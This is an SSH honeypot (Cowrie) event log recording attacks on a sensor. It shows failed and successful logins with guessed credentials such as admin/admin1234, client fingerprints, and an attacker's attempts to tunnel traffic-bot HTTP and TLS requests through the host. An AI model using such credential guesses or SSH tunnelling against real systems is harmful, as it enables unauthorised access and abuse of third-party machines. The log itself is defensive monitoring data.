{"eventid":"cowrie.login.failed","username":"teste","password":"teste2025","message":"login attempt [teste/teste2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:38.419108Z","src_ip":"41.90.100.147","session":"5969b3a0e4c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":50678,"dst_ip":"10.17.0.5","dst_port":22,"session":"e78ab2facc68","protocol":"ssh","message":"New connection: 123.27.168.40:50678 (10.17.0.5:22) [session: e78ab2facc68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:39.478058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:39.482242Z","src_ip":"123.27.168.40","session":"e78ab2facc68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.4","message":"Connection lost after 14.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:39.581874Z","src_ip":"63.141.242.2","session":"a424340f33bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:39.637309Z","src_ip":"41.90.100.147","session":"5969b3a0e4c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:39.720115Z","src_ip":"123.27.168.40","session":"e78ab2facc68","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:40.815820Z","src_ip":"123.27.168.40","session":"e78ab2facc68","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:41.271255Z","session":"e78ab2facc68","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:41.428374Z","session":"e78ab2facc68","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:41.502098Z","src_ip":"123.27.168.40","session":"e78ab2facc68","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/90.0.4430.93 Mobile/15G77 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=PFJCRU5oQ09oSH08PGclYw%3D%3D%2Fe4hd5fUsI27vxl6ur0%2Fzmp6AlGJNcf7wGYLa8a8ldzIvxoMaCNF8Qv%2F1TkOm4JRCUbs19ptE4uhLo7gVcuOQ5xfmfnvDoDNlBN5r4JI%2FrtnSpYjFsdbSjKtbEN1sP%2FfvXeLozL0xBFT%2F39iGRYphC8Z%2FtnM3tNgQXU2EnwQoPbVmneBwOOlDcK5TcmnhkSFovozTWo2479ziOqoF1TV%2BeBqS6w8BJsIEt6AQ9NKUNBLcJbKtp57rcsmk1ASIzMM1jlkeW4ulQaoefr3%2BRgjXSIajXyAxQzQRwLues0vrYNEphZAXmCetSKzxExbSqKIVUgPGzo6gnUoKUknpl09QX72o0OA30e%2F2HN2lMLRwXgUaM%2BhTEuFwXETilDrTIuCMTr9sKQ43%2Fnk2TMinqo3I35bt2PukoEJGh7W97SB%2FzJ4zk%2FqxIlV%2B2sXY%2BwoDpEi0HQahHs%2FxO6S6RN9mxRJ9jpCJgmXvdp5Dc0Oh4m%2FETccmwxrQ8Ewdxy2rqiQMUq%2FZgSnwDggkdd6D%2BRXCMV4zgkgCeiYzj4kbM67WmNCD68HyFhA8RQg73aJxB3tuDbkfeZAiYjeBTQIjcpUf5Pjpa1Ms6KZvfqZGxMyWQaxZfV73SOj1jPm3FJEyGNxaE%2Baqm9US29QZkEN%2FuQzK%2B%2Fi1fNuaMqADGBp73gblQRjt%2BPF%2B9Cjff2SkAXEPb6y4xpwxPPDP03%2FPmpbJzP6hlCMZNr92CwfhUB6wGjjG4qTq3Se%2FXMaIc9wcKPUy1BBYew5kwpd6%2BCpi1Eq8mysxsbGIM94b%2Fwf%2B9y6Cgk4%2BieiG5uo4Ex1WB8shtPWZAedQO63KbecRE0JylFuCnJ0IhltsH2ZATolXVA6GgzH9fEqA0%2F0Kg4n7ZKdcORFwbN2mAyS3Hmw3jS24p9eiO2S6hHoMiHM0kIyOBnd6UHgP%2FrT9B5xn3L%2FOIWSFT%2B86dXLyu3cAOnBsg1EHnHRsigH01TPSZNjfwGB5F9h4UKdLPzaZGQLAXsb2GNtgoSQtSGkdVEBcXUVDrHKKFBVs4xmQmcaSUYXckCTKvA8PFK2UWlwbaA%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/90.0.4430.93 Mobile/15G77 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=PFJCRU5oQ09oSH08PGclYw%3D%3D%2Fe4hd5fUsI27vxl6ur0%2Fzmp6AlGJNcf7wGYLa8a8ldzIvxoMaCNF8Qv%2F1TkOm4JRCUbs19ptE4uhLo7gVcuOQ5xfmfnvDoDNlBN5r4JI%2FrtnSpYjFsdbSjKtbEN1sP%2FfvXeLozL0xBFT%2F39iGRYphC8Z%2FtnM3tNgQXU2EnwQoPbVmneBwOOlDcK5TcmnhkSFovozTWo2479ziOqoF1TV%2BeBqS6w8BJsIEt6AQ9NKUNBLcJbKtp57rcsmk1ASIzMM1jlkeW4ulQaoefr3%2BRgjXSIajXyAxQzQRwLues0vrYNEphZAXmCetSKzxExbSqKIVUgPGzo6gnUoKUknpl09QX72o0OA30e%2F2HN2lMLRwXgUaM%2BhTEuFwXETilDrTIuCMTr9sKQ43%2Fnk2TMinqo3I35bt2PukoEJGh7W97SB%2FzJ4zk%2FqxIlV%2B2sXY%2BwoDpEi0HQahHs%2FxO6S6RN9mxRJ9jpCJgmXvdp5Dc0Oh4m%2FETccmwxrQ8Ewdxy2rqiQMUq%2FZgSnwDggkdd6D%2BRXCMV4zgkgCeiYzj4kbM67WmNCD68HyFhA8RQg73aJxB3tuDbkfeZAiYjeBTQIjcpUf5Pjpa1Ms6KZvfqZGxMyWQaxZfV73SOj1jPm3FJEyGNxaE%2Baqm9US29QZkEN%2FuQzK%2B%2Fi1fNuaMqADGBp73gblQRjt%2BPF%2B9Cjff2SkAXEPb6y4xpwxPPDP03%2FPmpbJzP6hlCMZNr92CwfhUB6wGjjG4qTq3Se%2FXMaIc9wcKPUy1BBYew5kwpd6%2BCpi1Eq8mysxsbGIM94b%2Fwf%2B9y6Cgk4%2BieiG5uo4Ex1WB8shtPWZAedQO63KbecRE0JylFuCnJ0IhltsH2ZATolXVA6GgzH9fEqA0%2F0Kg4n7ZKdcORFwbN2mAyS3Hmw3jS24p9eiO2S6hHoMiHM0kIyOBnd6UHgP%2FrT9B5xn3L%2FOIWSFT%2B86dXLyu3cAOnBsg1EHnHRsigH01TPSZNjfwGB5F9h4UKdLPzaZGQLAXsb2GNtgoSQtSGkdVEBcXUVDrHKKFBVs4xmQmcaSUYXckCTKvA8PFK2UWlwbaA%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:41.505207Z","src_ip":"123.27.168.40","session":"e78ab2facc68","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:41.728076Z","src_ip":"123.27.168.40","session":"e78ab2facc68","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfdl\\xf4\\t\\xae\\xdf\\xbd\\xa8F\\x82\\x8fW\\x0cEz\\xa6\"\\x04\\xee\\xdc\\xb1\\x8b*\\xc7\\r\\xf0\\xca%T\\x909! \\x8d=\\x9e\\xc5\"\\x02kj6\\xc4O\\x83\\x169A\\xa7%\\xce\\x9d\\xf5\\xb4/\\xc0\\xbf\\xa2\\xd6\\xb9\\xb1\\x0c\\x86:W\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfde\\x01\\x02\"\\xdc;E\\xd9\\x95\\xf6/?\\x93<.E\\xaf\\xe4\\x19?o]F\\xa0Lp\\x0e\\xa4\\x8bCP\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfdl\\xf4\\t\\xae\\xdf\\xbd\\xa8F\\x82\\x8fW\\x0cEz\\xa6\"\\x04\\xee\\xdc\\xb1\\x8b*\\xc7\\r\\xf0\\xca%T\\x909! \\x8d=\\x9e\\xc5\"\\x02kj6\\xc4O\\x83\\x169A\\xa7%\\xce\\x9d\\xf5\\xb4/\\xc0\\xbf\\xa2\\xd6\\xb9\\xb1\\x0c\\x86:W\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfde\\x01\\x02\"\\xdc;E\\xd9\\x95\\xf6/?\\x93<.E\\xaf\\xe4\\x19?o]F\\xa0Lp\\x0e\\xa4\\x8bCP\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:41.740592Z","src_ip":"123.27.168.40","session":"e78ab2facc68","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:42.189108Z","session":"e78ab2facc68","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:42.420038Z","src_ip":"123.27.168.40","session":"e78ab2facc68","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03X\\x14\\xddu\\x17\\xda\\x02\\xaa\\xc5b\\x9f\\xf7\\x1e)\\xd1\\x02}a=\\xfe\\xf6-\\xdf\\x9b\\x88\\xd2t\\x0es>\\x89J \\xbcU\\x9b\\xc3\\xf8g\\x8d\\xb9ktW\\xe4t\\xc5\\xd5\\x01\\x8e93\\xb5r]\\xe7?\\xc9-\\xd9\\x14\\xac(l\\xe9\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf5\\xd2\\rgNA\\xcf\\xb4\\xf3M\\xfe\\x198\\x8c\\xd8\\xe0\\xcb\\x00t+\\x8f\\x89\\xbc\\'\\x8c\\x91\\xb6\\x87\\xf9+\\x13\\x1e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03X\\x14\\xddu\\x17\\xda\\x02\\xaa\\xc5b\\x9f\\xf7\\x1e)\\xd1\\x02}a=\\xfe\\xf6-\\xdf\\x9b\\x88\\xd2t\\x0es>\\x89J \\xbcU\\x9b\\xc3\\xf8g\\x8d\\xb9ktW\\xe4t\\xc5\\xd5\\x01\\x8e93\\xb5r]\\xe7?\\xc9-\\xd9\\x14\\xac(l\\xe9\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf5\\xd2\\rgNA\\xcf\\xb4\\xf3M\\xfe\\x198\\x8c\\xd8\\xe0\\xcb\\x00t+\\x8f\\x89\\xbc\\'\\x8c\\x91\\xb6\\x87\\xf9+\\x13\\x1e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:42.423204Z","src_ip":"123.27.168.40","session":"e78ab2facc68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:42.762436Z","src_ip":"123.27.168.40","session":"e78ab2facc68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":49473,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbc52f5e71ec","protocol":"ssh","message":"New connection: 123.27.168.40:49473 (10.17.0.5:22) [session: bbc52f5e71ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:50.660725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:50.664392Z","src_ip":"123.27.168.40","session":"bbc52f5e71ec","protocol":"ssh"}
